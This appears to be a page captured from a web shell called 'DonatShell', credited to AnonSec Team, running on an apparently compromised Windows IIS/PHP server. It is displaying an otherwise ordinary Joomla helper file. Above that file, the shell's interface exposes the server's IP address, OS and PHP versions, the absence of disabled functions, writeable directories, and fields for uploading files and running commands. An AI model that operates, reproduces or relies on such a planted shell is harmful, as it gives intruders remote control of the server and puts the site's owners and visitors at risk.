DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/tmp/install_53214838987c8/admin/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/tmp/install_53214838987c8/admin/helpers/timage.php
<?php

/*------------------------------------------------------------------------
# Timage
# ------------------------------------------------------------------------
# author                Trust Elegance
# copyright             Copyright (C) 2012 trustelegance.com. All Rights Reserved.
# @license -            http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites:             http://www.trustelegance.com
# Technical Support:    http://http://www.trustelegance.com/index.php?option=com_rsform&view=rsform&Itemid=55
-------------------------------------------------------------------------*/

    defined('_JEXEC') or die;

abstract class TimageHelper
{
	public static function addSubmenu($submenu)
	{
		JSubMenuHelper::addEntry(JText::_('Timage Level'), 'index.php?option=com_timage', $submenu == 'messages');
		JSubMenuHelper::addEntry(JText::_('COM_CUSTOMWATER_SUBMENU_CATEGORIES'), 'index.php?option=com_categories&view=categories&extension=com_timage', $submenu == 'categories');
        JSubMenuHelper::addEntry(JText::_('Order List'), 'index.php?option=com_timage&view=logoorderlist', $submenu == 'logoorderlist');
		$document = JFactory::getDocument();
		$document->addStyleDeclaration('.icon-48-timage {background-image: url(../media/com_timage/images/tux-48x48.png);}');
		if ($submenu == 'categories')
		{
			$document->setTitle(JText::_('COM_CUSTOMWATER_ADMINISTRATION_CATEGORIES'));
		}
	}

	public static function getActions($messageId = 0)
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($messageId)) {
			$assetName = 'com_timage';
		}
		else {
			$assetName = 'com_timage.message.'.(int) $messageId;
		}

		$actions = array(
			'core.admin', 'core.manage', 'core.create', 'core.edit', 'core.delete'
		);

		foreach ($actions as $action) {
			$result->set($action,	$user->authorise($action, $assetName));
		}

		return $result;
	}
}
?>

Anon7 - 2022
AnonSec Team